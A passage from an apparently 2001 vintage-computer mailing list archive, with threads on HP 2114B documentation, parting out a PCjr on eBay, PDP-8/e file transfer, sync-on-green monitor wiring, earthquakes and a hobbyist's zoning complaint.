very much, but I'd like to get the book scanned first (maybe by Bruce Ray's WildHare.com). I think they'll cut the back off the book to do this. You can have it after then, maybe, or you can use the electronic version. -- Jonathan Engdahl Rockwell Automation Principal Research Engineer 24800 Tungsten Road Advanced Technology Euclid, OH 44117 USA Euclid Labs http://users.safeaccess.com/engdahl ----- Original Message ----- From: "Lucas J Cashdollar" To: Sent: Friday, June 08, 2001 10:46 PM Subject: Need documentation on a 2114B HP Computer > Hello Reader, > > I work at the University of Pittsburgh Physics department and we > have a 2114B HP computer in storage. I tracked down the software for it > but I do not have any manuals on how to run the thing. If someone could > help me out with an operations manual and maybe an instruction set or > something the information would be appreciated. > > Thanks, > > Luke Cashdollar > > > > > > > From at258 at osfn.org Mon Jun 11 10:02:29 2001 From: at258 at osfn.org (Merle K. Peirce) Date: Sun Feb 27 19:04:22 2005 Subject: IRC In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD37151103@jeffserver.tegjeff.com> Message-ID: Well IU know Elliott/Ferrante/LEO/English Electric/Marconi all started combining in the 60's, and that English electric was one of IRC's victims. I just don't know the exact sequence and whether IRC brought any of it about. On Mon, 11 Jun 2001, Douglas Quebbeman wrote: > > There's been a discussion of labour/management relations on Rovernet, and > > this has led to the Industrial Recovery Corporation. > > > > Does anyone know if the IRC meddled with the British computer industry, > > as they did with the motor industry? > > Funny... just yesterday, my computing history research took me > to Britain; I found the National Archive of Computing History > or somtthing like that at Manchester University (and it didn't > have a history of computing at Manchester, which was what I > was personally looking for), but it did have an interesting > online exhibit, and pointers to archives. The URL is stuck in > my browser at home, but it shouldn't be too hard to find > using Google. > > Regards, > -dq > M. K. Peirce Rhode Island Computer Museum, Inc. Shady Lea, Rhode Island "Casta est quam nemo rogavit." - Ovid From mbbrutman at bresnanlink.net Mon Jun 11 10:11:17 2001 From: mbbrutman at bresnanlink.net (Michael Brutman) Date: Sun Feb 27 19:04:22 2005 Subject: Ebay horror ... Message-ID: <3B24DF95.79043AD8@bresnanlink.net> I'm so mad. I'm watching on Ebay now as a greedy seller takes apart a PCjr, and parts out the individual pieces for obscene amounts of money compared the the cost of an intact system unit. We're talking almost a complete disassembly - he has even removed the IR receiver for the keyboard from the motherboard, and is selling that bundled with a keyboard. That part has no use without the motherboard. The power card, floppy drive card, parallel printer sidecar, and the "RARE" 64Kb memory card are also being listed separately. I polite email to the seller suggesting that the machine is more valuable as a unit basically came back as "I sold one part, the rest is all gravy, I know what I'm doing so mind your own business." So distasteful .... I wish there was a way to blacklist people like this. Mike From rickb at bensene.com Mon Jun 11 10:37:19 2001 From: rickb at bensene.com (Rick Bensene) Date: Sun Feb 27 19:04:22 2005 Subject: PDP 8/e Help - File Transfer In-Reply-To: Message-ID: Hi, all, I have a PDP-8E system with 24K (2x8K core, 8K DRAM), RK8E with two RK05's, RX01 8" floppy drive system, and a paper tape reader/punch (the reader needs work). I'm running OS/8 V3D. It was working perfectly for the longest time, then, very suddenly when accessing either RK05 drive, I get errors that are kind of strage. I don't get I/O errors, but errors appear to be corruption of data, e.g., a stuck bit or the like. Doing a DIR on a drive gives an invalid directory error rather than an I/O error. So, whatever is happening, the data seems to be coming off the drive OK (no CRC errors or other drive errors), but in the process of getting dumped into memory, it gets messed up. The machine boots up just fine off RX01 and runs beautifully, and completely reliably. Based on this, it appears that the problem is likely in the RK8E controller. On the RK05's, I've got KERMIT and ENCODE/DECODE, which made it easy to get programs off of a PC onto the 8/e. However, since I can't talk to the RK05's, I don't have access to these anymore. I don't have copies of these programs available on floppy. I need to somehow get the MAINDEC RK8E diagnostic loaded onto the machine to try to see what is going on with the disk controller. I need a simple way to transfer the binary image of the paper-tape version of the diagnostic from a DOS PC to the 8/e, without having to toggle in a big program. Any ideas? Thanks, Rick Bensene The Old Calculator Web Museum http://www.geocities.com/oldcalculators From edick at idcomm.com Mon Jun 11 10:59:13 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:22 2005 Subject: Ebay horror ... References: <3B24DF95.79043AD8@bresnanlink.net> Message-ID: <002d01c0f28f$761c86c0$9cc762d8@idcomm.com> If you pay attention to the posts on this list, you'll see lots of occasions where people "part-out" systems in order to resurrect others as opposed to junking the whole, non-functional, thing. It's no crime to recycle what would otherwise go in the dumpster. How many PC-Jr's do you think a person, or, for that matter, the world, needs? How many non-functional ones do you think are warranted? There are some folks who think dead computers are of value for something other than parts, but I don't know very many. Give the sensible ones a break, will you? Dick ----- Original Message ----- From: "Michael Brutman" To: Sent: Monday, June 11, 2001 9:11 AM Subject: Ebay horror ... > I'm so mad. I'm watching on Ebay now as a greedy seller takes > apart a PCjr, and parts out the individual pieces for obscene > amounts of money compared the the cost of an intact system > unit. > > We're talking almost a complete disassembly - he has even > removed the IR receiver for the keyboard from the motherboard, > and is selling that bundled with a keyboard. That part has > no use without the motherboard. > > The power card, floppy drive card, parallel printer sidecar, > and the "RARE" 64Kb memory card are also being listed > separately. > > I polite email to the seller suggesting that the machine is more > valuable as a unit basically came back as "I sold one part, > the rest is all gravy, I know what I'm doing so mind your own > business." > > > So distasteful .... I wish there was a way to blacklist people > like this. > > > Mike > > From marvin at rain.org Mon Jun 11 11:07:13 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:04:22 2005 Subject: Ebay horror ... References: <3B24DF95.79043AD8@bresnanlink.net> Message-ID: <3B24ECB1.CEF3549@rain.org> What is your problem with this person selling a PC Jr. as parts? They are not exactly rare (I think I probably have at least 5 of them and have turned down a number of others.) If someone is paying for the parts, it is VERY likely they need those parts to get one of their machine running, and if one machine can be parted out to get a bunch more running, I have no problems with that at all! It sounds as if the seller was a bit rude in their response, and that is unfortunate. It is worth mentioning that there are no bids right now on the parts. Michael Brutman wrote: > > I'm so mad. I'm watching on Ebay now as a greedy seller takes > apart a PCjr, and parts out the individual pieces for obscene > amounts of money compared the the cost of an intact system > unit. > > We're talking almost a complete disassembly - he has even > removed the IR receiver for the keyboard from the motherboard, > and is selling that bundled with a keyboard. That part has > no use without the motherboard. > > The power card, floppy drive card, parallel printer sidecar, > and the "RARE" 64Kb memory card are also being listed > separately. > > I polite email to the seller suggesting that the machine is more > valuable as a unit basically came back as "I sold one part, > the rest is all gravy, I know what I'm doing so mind your own > business." > > So distasteful .... I wish there was a way to blacklist people > like this. > > Mike From menadeau at mediaone.net Mon Jun 11 11:21:57 2001 From: menadeau at mediaone.net (Michael Nadeau) Date: Sun Feb 27 19:04:22 2005 Subject: Ebay horror ... References: <3B24DF95.79043AD8@bresnanlink.net> Message-ID: <0d6301c0f292$a648a6a0$0c01a8c0@michaelnadeau> Unfortunately, I've noticed this happens more than you would think, although your example is extreme. Someone finds a complete setup--floppies/hard drives, manuals, power supply, software, etc--and sells them piecemeal on eBay. I can see selling an accessory like a printer separately, but breaking up the items needed to use a system should be discouraged. I don't buy systems on eBay (too cheap to pay postage), but if I did, I would bid only on complete setups. --Mike Michael Nadeau Editorial Services 603-893-2379 ----- Original Message ----- From: "Michael Brutman" To: Sent: Monday, June 11, 2001 11:11 AM Subject: Ebay horror ... > I'm so mad. I'm watching on Ebay now as a greedy seller takes > apart a PCjr, and parts out the individual pieces for obscene > amounts of money compared the the cost of an intact system > unit. > > We're talking almost a complete disassembly - he has even > removed the IR receiver for the keyboard from the motherboard, > and is selling that bundled with a keyboard. That part has > no use without the motherboard. > > The power card, floppy drive card, parallel printer sidecar, > and the "RARE" 64Kb memory card are also being listed > separately. > > I polite email to the seller suggesting that the machine is more > valuable as a unit basically came back as "I sold one part, > the rest is all gravy, I know what I'm doing so mind your own > business." > > > So distasteful .... I wish there was a way to blacklist people > like this. > > > Mike > From dhquebbeman at theestopinalgroup.com Mon Jun 11 11:30:48 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:22 2005 Subject: IRC Message-ID: <7A9BACCEF0171D4FB77019F5104CDD3715110E@jeffserver.tegjeff.com> > Well IU know Elliott/Ferrante/LEO/English Electric/Marconi all started > combining in the 60's, and that English electric was one of IRC's > victims. I just don't know the exact sequence and whether IRC brought > any of it about. Heh... the Leo I was pretty wild looking! Looks like it was designed by a Hollywood (or Pinewood Studios?) B-movie set designer... guages! At any rate, the Brits get left out of the histories I often see, leading to the mistaken belief we did it ourselves. Regards, -dq From dhquebbeman at theestopinalgroup.com Mon Jun 11 11:33:01 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:22 2005 Subject: Need documentation on a 2114B HP Computer Message-ID: <7A9BACCEF0171D4FB77019F5104CDD3715110F@jeffserver.tegjeff.com> > I have this: > > A Pocket Guide to Hewlett Packard Computers (early/mid '70s?) > covering the 2116B, 2115A, and 2114A sections: > Specifications and Basic Operation Manual > Assembler Reference Manual > Basic Control System Reference Manual > Fortran Reference Manual > Program Library Reference Manual > BASIC Language Reference Manual Most of these have been scanned and OCR'd and can be found at Jeff Moffat's site: http://oscar.taurus.com/~jeff/hp2100 (that's typed from memory, may be wrong). Of course, someone who has actual hardware might want actual books; since all I've got are simulators, reasonable facsimilies are OK. Regards, -dq From lemay at cs.umn.edu Mon Jun 11 11:34:53 2001 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 19:04:22 2005 Subject: PDP 8/e Help - File Transfer In-Reply-To: "from Rick Bensene at Jun 11, 2001 08:37:19 am" Message-ID: <200106111634.LAA13014@caesar.cs.umn.edu> See: http://highgate.comm.sfu.ca/pdp8/ The Software section contains wehat you need. The dump and restore utilities contain programs for downloading files from PC to PDP 8/E, and you can also use the send.c and rim.c programs if you want. -Lawrence LeMay [ Charset ISO-8859-1 unsupported, converting... ] > Hi, all, > > I have a PDP-8E system with 24K (2x8K core, 8K DRAM), RK8E with two RK05's, > RX01 8" floppy drive system, and a paper tape reader/punch (the reader > needs work). I'm running OS/8 V3D. > > It was working perfectly for the longest time, then, very suddenly when > accessing either RK05 drive, I get errors that are kind of strage. > I don't get I/O errors, but errors appear to be corruption of data, e.g., > a stuck bit or the like. Doing a DIR on a drive gives an invalid directory > error rather than an I/O error. So, whatever is happening, the data seems > to be coming off the drive OK (no CRC errors or other drive errors), but in > the process of getting dumped into memory, it gets messed up. > > The machine boots up just fine off RX01 and runs beautifully, and completely > reliably. Based on this, it appears that the problem is likely in the > RK8E controller. > > On the RK05's, I've got KERMIT and ENCODE/DECODE, which made it easy to > get programs off of a PC onto the 8/e. However, since I can't talk to the > RK05's, I don't have access to these anymore. I don't have copies of these > programs available on floppy. > > I need to somehow get the MAINDEC RK8E diagnostic loaded onto the machine > to try to see what is going on with the disk controller. > > I need a simple way to transfer the binary image of the paper-tape > version of the diagnostic from a DOS PC to the 8/e, without having > to toggle in a big program. > > Any ideas? > > Thanks, > Rick Bensene > The Old Calculator Web Museum > http://www.geocities.com/oldcalculators > From dhquebbeman at theestopinalgroup.com Mon Jun 11 11:36:29 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:22 2005 Subject: sol-20 + Helios II system score, plus plea Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151110@jeffserver.tegjeff.com> > Well, sometimes great things just happen when you aren't looking. > > Friday night I got an email from a woman who lives 10 minutes from me. She > was moving and had a Sol-20 with a Helios II disk system and would I want > to take it? !!! > Needless to say, I did. I'm a happy guy. Well, I was before > I got it, so maybe I should say even happier guy. > > There are two problems: although she had about 8 8" floppies, only one of > them appears to be hard-sectored, which I think the helios system > was. Second, although there is a very nice persci manual, the manual > containing the technical information (programming, schematics, theory of > operation) for the two-board disk controller wasn't to be found. I know like Bob Stek and I, you've got a pretty complete collection of SOLUS/Proteus News... have you thought about compiling a list of people who were subscribers, or who wrote in, and contacting them? I know, 20 years later, it's a long shot. Too bad Stan Sokolow got out of it; was it you or Bob who contacted him one month after he dumped all the PTC stuff? Regards, -dq From dittman at dittman.net Mon Jun 11 11:40:42 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:22 2005 Subject: Ebay horror ... In-Reply-To: <3B24DF95.79043AD8@bresnanlink.net> from "Michael Brutman" at Jun 11, 2001 10:11:17 AM Message-ID: <200106111640.f5BGegx02264@narnia.int.dittman.net> > I'm so mad. I'm watching on Ebay now as a greedy seller takes > apart a PCjr, and parts out the individual pieces for obscene > amounts of money compared the the cost of an intact system > unit. Have you noticed the seller that is splitting up IBM 360 and CDC cores and selling them one board at a time? -- Eric Dittman dittman@dittman.net From epgroot at ucdavis.edu Mon Jun 11 11:51:49 2001 From: epgroot at ucdavis.edu (Edwin P. Groot) Date: Sun Feb 27 19:04:22 2005 Subject: IBM 5150, 5100 site In-Reply-To: <003201c0f099$4aca2c40$8a0101ac@ibm23xhr06> References: <010301c0f093$372eb300$a9799a8d@ajp166> Message-ID: <3.0.5.32.20010611095149.007d3930@yellow.ucdavis.edu> Check out the detail on the 5100. The caption notes: "...features office workers and printer.."! Were these office workers included in the purchase price, or were they paid with a maintenance contract? ;) Edwin At 12:04 AM 6/9/2001 -0400, you wrote: >While doing maint on some links I noticed that IBM is doing >a mini history of PC class machines from their historical archives >right now as a kind of 30 year anniversary. >Kind of since the 5100 is in it too. > >http://www-1.ibm.com/ibm/history/exhibits/exhibit_10++++++++.html > >John A. > > From jhellige at earthlink.net Mon Jun 11 11:57:51 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:22 2005 Subject: Ebay horror ... Message-ID: <01Jun11.125733edt.119046@gateway.mediacen.navy.mil> >There are some folks who think dead computers are of value for something other >than parts, but I don't know very many. Give the sensible ones a break, will >you? I'm not saying that the PCjr falls into this category, but there are any number of systems that even if they're not working should be kept intact and not junked or canibalized for whatever useful parts you can get. This mainly applies to those machines that a collector is happy to find in any condition due to their rarity. Jeff From ard at p850ug1.demon.co.uk Mon Jun 11 12:27:07 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:22 2005 Subject: sync on green to horizontal and vertical wiring seperator. In-Reply-To: <20010611013627.QUBP20074.tomts8-srv.bellnexxia.net@duron> from "jpero@sympatico.ca" at Jun 10, 1 09:38:50 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1723 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010611/10bb96d5/attachment.ksh From mikeford at socal.rr.com Mon Jun 11 12:32:28 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:23 2005 Subject: Ebay horror ... In-Reply-To: <3B24DF95.79043AD8@bresnanlink.net> Message-ID: >I'm so mad. I'm watching on Ebay now as a greedy seller takes >apart a PCjr, and parts out the individual pieces for obscene >amounts of money compared the the cost of an intact system Funny I was just thinking about posting a message on this dilemma. The sorry fact is that the market for parts far exceeds the market for systems on almost EVERY cheap heavy thing that exists. Either we bite the bullet and part some working systems out, or TWO computers go in the dumpster (the working system and the one needing the part). I know many people on the list don't like capitalism being practiced on there hobby, but very frequently the dollar choice is also the "best" choice. From dhquebbeman at theestopinalgroup.com Mon Jun 11 12:46:42 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:23 2005 Subject: Ebay horror ... Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151113@jeffserver.tegjeff.com> > > I'm so mad. I'm watching on Ebay now as a greedy seller takes > > apart a PCjr, and parts out the individual pieces for obscene > > amounts of money compared the the cost of an intact system > > unit. > > Have you noticed the seller that is splitting up IBM 360 and > CDC cores and selling them one board at a time? If that's the same ad (CDC) I saw, he is at least offering full stacks, at the [StackSize] * CostPerStack price. -dq From bkr at WildHareComputers.com Mon Jun 11 12:53:01 2001 From: bkr at WildHareComputers.com (Bruce Ray) Date: Sun Feb 27 19:04:23 2005 Subject: Need documentation on a 2114B HP Computer References: <008101c0f283$f7d14ae0$614099a1@rcs.ra.rockwell.com> Message-ID: <01df01c0f29f$5c34cd20$0100a8c0@dellhare> Johnathan - Just so people don't get sidetracked by a bad web address, our address is WildHareComputers.com, or SimuLogics.com. And yes, we love to archive documentation, hardware and software for us nostalgics worldwide. Bruce bkr@WildHareComputers.com -or- bkr@SimuLogics.com ----- Original Message ----- From: "Jonathan Engdahl" To: Sent: Monday, June 11, 2001 8:36 AM Subject: Re: Need documentation on a 2114B HP Computer > I have this: > > A Pocket Guide to Hewlett Packard Computers (early/mid '70s?) > covering the 2116B, 2115A, and 2114A > sections: > Specifications and Basic Operation Manual > Assembler Reference Manual > Basic Control System Reference Manual > Fortran Reference Manual > Program Library Reference Manual > BASIC Language Reference Manual > > I'm willing to part with it, since I didn't like that machine > very much, but I'd like to get the book scanned first (maybe by > Bruce Ray's WildHare.com). I think they'll cut the back off the > book to do this. You can have it after then, maybe, or you can > use the electronic version. > > -- > Jonathan Engdahl Rockwell Automation > Principal Research Engineer 24800 Tungsten Road > Advanced Technology Euclid, OH 44117 USA > Euclid Labs http://users.safeaccess.com/engdahl > > > ----- Original Message ----- > From: "Lucas J Cashdollar" > To: > Sent: Friday, June 08, 2001 10:46 PM > Subject: Need documentation on a 2114B HP Computer > > > > Hello Reader, > > > > I work at the University of Pittsburgh Physics department and > we > > have a 2114B HP computer in storage. I tracked down the > software for it > > but I do not have any manuals on how to run the thing. If > someone could > > help me out with an operations manual and maybe an instruction > set or > > something the information would be appreciated. > > > > Thanks, > > > > Luke Cashdollar > > > > > > > > > > > > > > From edick at idcomm.com Mon Jun 11 12:51:45 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:23 2005 Subject: Ebay horror ... References: <01Jun11.125733edt.119046@gateway.mediacen.navy.mil> Message-ID: <001f01c0f29f$2e4883c0$9cc762d8@idcomm.com> You're probably right, but one must keep in mind that you can't have it both ways. If the collection is for "collectors" (who couldn't give a rat's *** whether they work or not) then the eBay route is your just and proper domain. I don't "collect" per se, but do like to run my old '70's and '80's stuff and keep some non-functional items around, not because of their value but because they have parts I might need to repair the old boxes I use from time to time, for tasks like programming 2708's, etc. My own inclination is to view computers that don't run as projects or as parts-supply, and computers without reusable parts as dumpster-bound. I'd never want a machine that requires power I can't supply. I'd never want a machine that I can't see how to fix, either. Once it's relegated to the parts bins, it gets dismantled and put in the parts stock, right down to the screws and washers, and the sheet metal goes to the scrapper or to the dumpster. My view of old, and particularly old LARGE, hardware sitting in the yard is just lie my view of old cars rusting in the yard. I know not everybody agrees, but that's my take. Quite frankly, I have plenty enough trouble keeping the potentially useable/runable hardware accomodated without keeping lots of SUN/HP/DEC/etc hardware, any amount of which I've passed up in the past, accumulating in the yard. My own goal is simply to get the stuff I've held onto for twenty or more years going, and to reduce the excess to useable replacement parts or ditch them. Now, I've no problem with giving extra stuff away, particularly to someone who might acutally use the stuff, and have even given away stuff for which I paid good money in the not too distant past, just to lighten the load. Nevertheless, if I can't see a way to make it into a running machine or parts for one, it's outta here. Dick ----- Original Message ----- From: "Jeff Hellige" To: Sent: Monday, June 11, 2001 10:57 AM Subject: Re: Ebay horror ... > >There are some folks who think dead computers are of value for something other > >than parts, but I don't know very many. Give the sensible ones a break, will > >you? > > I'm not saying that the PCjr falls into this category, but there are any > number of systems that even if they're not working should be kept intact and > not junked or canibalized for whatever useful parts you can get. This > mainly applies to those machines that a collector is happy to find in any > condition due to their rarity. > > Jeff > > From claudew at videotron.ca Mon Jun 11 13:04:59 2001 From: claudew at videotron.ca (Claude.W) Date: Sun Feb 27 19:04:23 2005 Subject: They cant stay here -- Whos wants a TOSHIBA T1200 and/or COMPAQ PORTABLE II? Message-ID: <00a401c0f2a1$077f17c0$0200a8c0@gamerclaude> Hi all I ended up with these this weekend and cannot keep these around. I powered them both on, they started up both. Did not go any deeper into testing.... No cracks or missing parts or big scratches....I suppose the rechargeable battery on the T1200 is dead. No original P.S. for the T1200, you need 12VDC@2A or something like that... Any trade offers considered, if you are a regular trader with me you can probably get these free (for shipping?) if you really want one or both... I am still looking for Sparc stuff like IPXes, Sparcs, framebuffers...and SGI stuff...anything NON ibm pc type vintage or semi-recent can possibly interest me... Claude http://www.members.tripod.com/computer_collector or http://computer_collector.tripod.com From dhquebbeman at theestopinalgroup.com Mon Jun 11 13:10:54 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:23 2005 Subject: Ebay horror ... Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151115@jeffserver.tegjeff.com> > >There are some folks who think dead computers are of value for something other > >than parts, but I don't know very many. Give the sensible ones a break, will > >you? > > I'm not saying that the PCjr falls into this category, but there are any > number of systems that even if they're not working should be kept intact and > not junked or canibalized for whatever useful parts you can get. This > mainly applies to those machines that a collector is happy to find in any > condition due to their rarity. Yeah, I was really pissed when a breaker beat me out of a local PDP-11/73 last year. Enough that I almost tried to talk the seller out of selling to me anyway, thinking I'd have to offer him some kind of sweetener for the deal so living with a bad E-Bay rep wouldn't bother him so much. Had it been an 11/40, 11/45, 11/50, or 11/70, I *would* have done it. -dq From edick at idcomm.com Mon Jun 11 13:16:18 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:23 2005 Subject: sync on green to horizontal and vertical wiring seperator. References: Message-ID: <000b01c0f2a2$9ca72f80$9cc762d8@idcomm.com> If you establish that the LM1881 can do this little job at the frequency at which the monitor operates, please share details with me. I've used the LM1881 in the past, but only in connection with NTSC video. Dick ----- Original Message ----- From: "Tony Duell" To: Sent: Monday, June 11, 2001 11:27 AM Subject: Re: sync on green to horizontal and vertical wiring seperator. > > > > Hi! > > > > This is getting frustrating. > > > > This is fairly on topic because I run older Macs (1987 to 1991, and > > many nubus video cards) that does not have native separate syncs by > > design. I'm using a very dim Mac high resolution monitor. If > > adjusted brighter, it will lose sharpness. It's already adjusted > > perfectly and this doesn't helped. That's bad tube, caps that I can > > check with my ESR are replaced already. > > Before you give up, 2 checks.. > > 1) Is the EHT voltage correct _and stable when you increase the > brightness_. You didn't mention the picture also got larger as the > brightness was turned up (a common symptom of EHT problems), but it's > still worth checking. > > 2) Try boosting the heater a bit. If there's a resistor in series with > the CRT heater, reduce it or short it out. If the heater supply comes > from its own regulator, try tweaking it up a bit. If you can do neither > of those, disconnect the existing heater supply and try running the > heater from 3 (or so) turns of wire wound round the flyback core. Every > 6.3V CRT heater I've tried will stand 8V at least. This may not help, but > it might get you a couple more months out of an old CRT > > > But I might have one or two monitors I might able to extract certain > > IC to split the sync out to drive a peecee monitors which are in > > plenty around here. > > > > Otherwise if there a way to build that thing from scratch is nice. > > Get the data sheet on the National Semiconductor LM1881 (or the Elantec > version that's a bit better). It's an 8 pin chip that's a video sync > separator. That should be able to pull the sync off the sync-on-green signal > (which after all is electically the same as a composite mono signal). > > -tony > > From edick at idcomm.com Mon Jun 11 13:18:03 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:23 2005 Subject: Ebay horror ... References: <7A9BACCEF0171D4FB77019F5104CDD37151113@jeffserver.tegjeff.com> Message-ID: <001301c0f2a2$dab829a0$9cc762d8@idcomm.com> Maybe the way to stem this trend is to make it known that there are people who'd pay MORE for the complete units than the parts will bring. If that's not the case, ... well ... Dick ----- Original Message ----- From: "Douglas Quebbeman" To: Sent: Monday, June 11, 2001 11:46 AM Subject: RE: Ebay horror ... > > > I'm so mad. I'm watching on Ebay now as a greedy seller takes > > > apart a PCjr, and parts out the individual pieces for obscene > > > amounts of money compared the the cost of an intact system > > > unit. > > > > Have you noticed the seller that is splitting up IBM 360 and > > CDC cores and selling them one board at a time? > > If that's the same ad (CDC) I saw, he is at least offering > full stacks, at the [StackSize] * CostPerStack price. > > -dq > > From vance at ikickass.org Mon Jun 11 13:23:04 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:23 2005 Subject: Talking 'bout shakin & quakin (was Re: Storage of computer and parts in the residential area) In-Reply-To: Message-ID: I went to my friends place in California once. While I was there, the ground started to shake, so I ducked under a table. He said, "Oh... the big, bad New Yorker. He's afraid of a little earthquake." So I shot him. 8-) Peace... Sridhar On Fri, 8 Jun 2001, Chris Kennedy wrote: > Sellam wrote: > > > They're actually quite fun. [snip] > > To make this remotely on topic, I recall experiencing an earthquake > at ROLM MSC in the early 80's. The MSC campus was located in San Jose, > on North First, and was (at the time) a standard-issue south bay > two story tilt-up for offices along with a large single-story structure > for manufacturing. > > One afternoon I and a few other people were at the coffee station outside > the machine room when a modest earthquake hit. It was interesting watching > waves roll through the concrete slab on which we were standing. > > The episode also immediately exposed the California natives (we're the ones > who stood around watching the waves in the floor while drinking coffee and > eyeing the nearest desks and doorways) and the non-natives (who went > screaming > out of the building). > > > Now that I'm a home owner living within 20 miles of a major fault, I don't > > have such a cavalier attitude anymore, especially since earthquake > > insurance in California is a funny joke (i.e. even if you could afford it, > > it's better to forgo it and take your chances). > > Or, as one agent put it to me "be sure you knock over a candle on your way > out > of your earthquake damaged house". > -- > Chris Kennedy > chris@mainecoon.com > http://www.mainecoon.com > PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 > From vance at ikickass.org Mon Jun 11 13:23:38 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:23 2005 Subject: Talking 'bout shakin & quakin (was Re: Storage of computer and parts in the residential area) In-Reply-To: Message-ID: I believe the New Madrid fault is in Missouri. Peace... Sridhar On Sat, 9 Jun 2001, John Lawson wrote: > > IIRC, the largest US quake (of which we have reliable evidence) in the > last 150 years was on the New Madrid fault in (I think) Tennessee, which > changed the course of the Ohio River. It was approaching a 9.0 R. > > So California can not claim to have *all* the fun. > > Cheers > > John > > > From ard at p850ug1.demon.co.uk Mon Jun 11 13:14:08 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:23 2005 Subject: Ebay horror ... In-Reply-To: <3B24DF95.79043AD8@bresnanlink.net> from "Michael Brutman" at Jun 11, 1 10:11:17 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1144 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010611/64a7193f/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jun 11 13:22:15 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:23 2005 Subject: Ebay horror ... In-Reply-To: <002d01c0f28f$761c86c0$9cc762d8@idcomm.com> from "Richard Erlacher" at Jun 11, 1 09:59:13 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1798 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010611/46d381c2/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jun 11 13:31:04 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:23 2005 Subject: sync on green to horizontal and vertical wiring seperator. In-Reply-To: <000b01c0f2a2$9ca72f80$9cc762d8@idcomm.com> from "Richard Erlacher" at Jun 11, 1 12:16:18 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 573 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010611/056d5d59/attachment.ksh From jhellige at earthlink.net Mon Jun 11 13:45:02 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:23 2005 Subject: FW: Microvax II Message-ID: <01Jun11.144442edt.119041@gateway.mediacen.navy.mil> Here's an email I got today. Any help anybody could provide the person would be greatly appreciated, as I don't have the material myself. Please reply to the original sender directly. Jeff ---------- >From: "Sean & Donna Campbell" >To: >Subject: Microvax II >Date: Mon, Jun 11, 2001, 2:16 PM > >Dear Jeff >With reference to you article on Microvax II do you happen to have or know >where I could get access to a circuit diagram for the ASTEC power supply >Model no AA13010 that is inside the Microvax. >Many thanks >Sean Campbell From dittman at dittman.net Mon Jun 11 13:54:45 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:23 2005 Subject: Ebay horror ... In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD37151113@jeffserver.tegjeff.com> from "Douglas Quebbeman" at Jun 11, 2001 01:46:42 PM Message-ID: <200106111854.f5BIsjZ02696@narnia.int.dittman.net> > > > I'm so mad. I'm watching on Ebay now as a greedy seller takes > > > apart a PCjr, and parts out the individual pieces for obscene > > > amounts of money compared the the cost of an intact system > > > unit. > > > > Have you noticed the seller that is splitting up IBM 360 and > > CDC cores and selling them one board at a time? > > If that's the same ad (CDC) I saw, he is at least offering > full stacks, at the [StackSize] * CostPerStack price. I misread his ad. I thought he said they were sold only as single plane, but he's saying what you said, that the full stack has no discount. -- Eric Dittman dittman@dittman.net From ard at p850ug1.demon.co.uk Mon Jun 11 13:49:05 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:23 2005 Subject: Ebay horror ... In-Reply-To: from "Mike Ford" at Jun 11, 1 10:32:28 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1334 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010611/47bcee99/attachment.ksh From mikeford at socal.rr.com Mon Jun 11 14:10:03 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:23 2005 Subject: Storage of computer (done...) In-Reply-To: References: <992038274.3b214d82e2543@email.ou.edu> Message-ID: I finally got a call through to the zoning person, actually a reasonable human being. Apparently some "neighbor" filed a complaint that I was running a resale computer business out of my house. I explained that this was my hobby, and not operated for financial gain, which took some details, but for now the case is closed. A letter or phone call will go back to the complainer with my denial of business activity, and that is the end of it unless they can somehow show proof of business operation. Overall I still find the whole experience very chilling on the pleasurable pursuit of a hobby. I have a bunch of stuff I am ready to get rid of, and now I have to wonder if somebody is snooping on me ready to cause more trouble if I sell something. OTOH mentally it has me more focused on what part of this 